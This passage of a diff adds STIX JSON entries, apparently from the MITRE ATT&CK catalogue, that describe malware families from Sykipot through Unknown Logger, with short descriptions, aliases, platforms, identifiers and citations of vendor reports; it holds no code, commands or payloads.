[Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Sykipot" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "created": "2017-05-31T21:32:17.568Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0018" + }, + { + "description": "Blasco, J. (2013, March 21). New Sykipot developments [Blog]. Retrieved November 12, 2014.", + "source_name": "Blasco 2013", + "url": "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" + }, + { + "description": "Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.", + "source_name": "Alienvault Sykipot DOD Smart Cards", + "url": "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards" + } + ] + }, + { + "name": "SynAck", + "description": "[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelg\u00e4nging May 2018) (Citation: Kaspersky Lab SynAck May 2018)", + "id": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SynAck" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-07-26T23:00:55.880Z", + "external_references": [ + { + "external_id": "S0242", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0242" + }, + { + "description": "(Citation: SecureList SynAck Doppelg\u00e4nging May 2018) (Citation: Kaspersky Lab SynAck May 2018)", + "source_name": "SynAck" + }, + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ] + }, + { + "name": "Sys10", + "description": "[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)", + "id": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Sys10" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:40.391Z", + "modified": "2019-05-03T16:44:41.669Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0060", + "url": "https://attack.mitre.org/software/S0060" + }, + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ] + }, + { + "name": "T9000", + "description": "[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "T9000" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "created": "2017-05-31T21:33:01.951Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0098", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0098" + }, + { + "description": "Moran, N. and Lanstein, A.. (2014, March 25). Spear Phishing the News Cycle: APT Actors Leverage Interest in the Disappearance of Malaysian Flight MH 370. Retrieved April 15, 2016.", + "source_name": "FireEye admin@338 March 2014", + "url": "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html" + }, + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ] + }, + { + "name": "TDTESS", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TDTESS" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0164", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0164" + }, + { + "description": "(Citation: ClearSky Wilted Tulip July 2017)", + "source_name": "TDTESS" + }, + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ] + }, + { + "name": "TEXTMATE", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TEXTMATE", + "DNSMessenger" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "created": "2017-05-31T21:33:25.209Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0146", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0146" + }, + { + "description": "(Citation: FireEye FIN7 March 2017)", + "source_name": "TEXTMATE" + }, + { + "description": "Based on similar descriptions of functionality, it appears S0146, as named by FireEye, is the same as Stage 4 of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)", + "source_name": "DNSMessenger" + }, + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ] + }, + { + "name": "TINYTYPHON", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TINYTYPHON" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "created": "2017-05-31T21:33:15.467Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0131", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0131" + }, + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ] + }, + { + "name": "TURNEDUP", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "id": "malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c", + "external_references": [ + { + "external_id": "S0199", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0199" + }, + { + "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)", + "source_name": "TURNEDUP" + }, + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "FireEye APT33 Webinar Sept 2017", + "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.", + "url": "https://www.brighttalk.com/webcast/10703/275683" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TURNEDUP" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Christiaan Beek, @ChristiaanBeek", + "Ryan Becwar" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-05-14T19:15:24.180Z", + "labels": [ + "malware" + ] + }, + { + "name": "TYPEFRAME", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TYPEFRAME" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0263", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0263" + }, + { + "description": "(Citation: US-CERT TYPEFRAME June 2018)", + "source_name": "TYPEFRAME" + }, + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ] + }, + { + "name": "Taidoor", + "description": "[Taidoor](https://attack.mitre.org/software/S0011) is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Taidoor" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b143dfa4-e944-43ff-8429-bfffc308c517", + "created": "2017-05-31T21:32:14.900Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0011", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0011" + }, + { + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "source_name": "TrendMicro Taidoor", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ] + }, + { + "name": "TinyZBot", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TinyZBot" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "created": "2017-05-31T21:32:12.310Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0004" + }, + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ] + }, + { + "name": "TrickBot", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) is a Trojan spyware program that has mainly been used for targeting banking sites in United States, Canada, UK, Germany, Australia, Austria, Ireland, London, Switzerland, and Scotland. TrickBot first emerged in the wild in September 2016 and appears to be a successor to [Dyre](https://attack.mitre.org/software/S0024). [TrickBot](https://attack.mitre.org/software/S0266) is developed in the C++ programming language. (Citation: S2 Grupo TrickBot June 2017) (Citation: Fidelis TrickBot Oct 2016) (Citation: IBM TrickBot Nov 2016)", + "id": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "external_references": [ + { + "external_id": "S0266", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0266" + }, + { + "description": "(Citation: S2 Grupo TrickBot June 2017) (Citation: Trend Micro Totbrick Oct 2016) (Citation: TrendMicro Trickbot Feb 2019)", + "source_name": "TrickBot" + }, + { + "description": "(Citation: Trend Micro Totbrick Oct 2016) (Citation: Microsoft Totbrick Oct 2017)", + "source_name": "Totbrick" + }, + { + "description": "(Citation: Trend Micro Totbrick Oct 2016)", + "source_name": "TSPY_TRICKLOAD" + }, + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "source_name": "Fidelis TrickBot Oct 2016", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + }, + { + "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", + "source_name": "IBM TrickBot Nov 2016", + "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/" + }, + { + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + }, + { + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "source_name": "TrendMicro Trickbot Feb 2019", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + }, + { + "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", + "source_name": "Microsoft Totbrick Oct 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "TrickBot", + "Totbrick", + "TSPY_TRICKLOAD" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Omkar Gudhate", + "FS-ISAC" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-06-24T19:15:06.150Z", + "labels": [ + "malware" + ] + }, + { + "name": "Trojan.Karagany", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Trojan.Karagany" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "created": "2017-05-31T21:33:00.176Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0094", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0094" + }, + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ] + }, + { + "name": "Trojan.Mebromi", + "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Trojan.Mebromi" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--c5e9cb46-aced-466c-85ea-7db5572ad9ec", + "created": "2017-05-31T21:32:11.148Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0001" + }, + { + "description": "Ge, L. (2011, September 9). BIOS Threat is Showing up Again!. Retrieved November 14, 2014.", + "source_name": "Ge 2011", + "url": "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + } + ] + }, + { + "name": "Truvasys", + "description": "[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Truvasys" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "created": "2018-01-16T16:13:52.465Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0178", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0178" + }, + { + "description": "(Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "source_name": "Truvasys" + }, + { + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + }, + { + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "source_name": "Microsoft NEODYMIUM Dec 2016", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21", + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf" + } + ] + }, + { + "x_mitre_old_attack_id": "MOB-S0018", + "name": "Twitoor", + "description": "[Twitoor](https://attack.mitre.org/software/S0302) is an Android malware family that likely spreads by SMS or via malicious URLs. (Citation: ESET-Twitoor)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Android" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Twitoor" + ], + "type": "malware", + "x_mitre_version": "1.2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--41e3fd01-7b83-471f-835d-d2b1dc9a770c", + "created": "2017-10-25T14:48:42.313Z", + "modified": "2019-02-01T17:38:05.973Z", + "external_references": [ + { + "external_id": "S0302", + "source_name": "mitre-mobile-attack", + "url": "https://attack.mitre.org/software/S0302" + }, + { + "source_name": "Twitoor", + "description": "(Citation: ESET-Twitoor)" + }, + { + "source_name": "ESET-Twitoor", + "description": "ESET. (2016, August 24). First Twitter-controlled Android botnet discovered. Retrieved December 22, 2016.", + "url": "http://www.welivesecurity.com/2016/08/24/first-twitter-controlled-android-botnet-discovered/" + } + ] + }, + { + "name": "UBoatRAT", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)", + "id": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "UBoatRAT" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T19:09:26.355Z", + "modified": "2019-09-23T13:27:28.579Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0333", + "url": "https://attack.mitre.org/software/S0333" + }, + { + "description": "(Citation: PaloAlto UBoatRAT Nov 2017)", + "source_name": "UBoatRAT" + }, + { + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "source_name": "PaloAlto UBoatRAT Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ] + }, + { + "name": "UPPERCUT", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "UPPERCUT", + "ANEL" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0275", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0275" + }, + { + "description": "(Citation: FireEye APT10 Sept 2018)", + "source_name": "UPPERCUT" + }, + { + "description": "(Citation: FireEye APT10 Sept 2018)", + "source_name": "ANEL" + }, + { + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ] + }, + { + "name": "USBStealer", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "USBStealer", + "USB Stealer", + "Win32/USBStealer" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "created": "2017-05-31T21:33:17.716Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0136", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0136" + }, + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ] + }, + { + "name": "Umbreon", + "description": "A Linux rootkit that provides backdoor access and hides from defenders.", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Umbreon" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0221", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0221" + }, + { + "description": "(Citation: Umbreon Trend Micro)", + "source_name": "Umbreon" + }, + { + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "source_name": "Umbreon Trend Micro", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ] + }, + { + "name": "Unknown Logger", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. (Citation: Forcepoint Monsoon)", + "labels": [ + "malware" + ], + "x_mitre_platforms": 